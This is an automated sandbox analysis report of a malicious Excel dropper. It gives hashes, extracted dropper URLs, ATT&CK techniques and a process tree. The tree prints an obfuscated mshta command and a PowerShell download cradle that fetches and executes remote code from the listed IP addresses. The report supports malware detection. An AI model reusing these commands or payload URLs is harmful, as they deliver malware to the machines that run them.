5c8cb7136b7f89772e79c0a2f6ead69434dbd7cd66ed030ca620de279c9b20a2

General

Target
9a4eaffbb59ab649ed509286e04187bf.xls
Size 142KB
Sample220119-ws7jdsccb6
SHA256 5c8cb7136b7f89772e79c0a2f6ead69434dbd7cd66ed030ca620de279c9b20a2
MD5 9a4eaffbb59ab649ed509286e04187bf
SHA1 4e848df531d1754f366c8447481808520e07e2c2
SHA512 4cc9c96dc6aa85edae7979791da8bb4a18da19f80aba9e79b29d854c727b3eddc4586060260df487aa0e11b03daedc4a943956dffe6225feebb7d0ba3fd57057
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1156	1524	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	392	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1524	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE
1524	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 3704	1524	EXCEL.EXE	53
PID 1524 wrote to memory of 3704	1524	EXCEL.EXE	53
PID 1524 wrote to memory of 1156	1524	EXCEL.EXE	55
PID 1524 wrote to memory of 1156	1524	EXCEL.EXE	55
PID 1156 wrote to memory of 392	1156	cmd.exe	57
PID 1156 wrote to memory of 392	1156	cmd.exe	57
PID 392 wrote to memory of 2172	392	mshta.exe	59
PID 392 wrote to memory of 2172	392	mshta.exe	59

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9a4eaffbb59ab649ed509286e04187bf.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3704
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1220

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 460 -p 392 -ip 392
1⤵
PID:2768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1524-133-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Download

memory/1524-134-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Download

memory/1524-135-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Download

memory/1524-136-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Download

memory/1524-137-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp

Download

memory/1524-140-0x00007FFF99F50000-0x00007FFF99F60000-memory.dmp

Download

memory/1524-141-0x00007FFF99F50000-0x00007FFF99F60000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads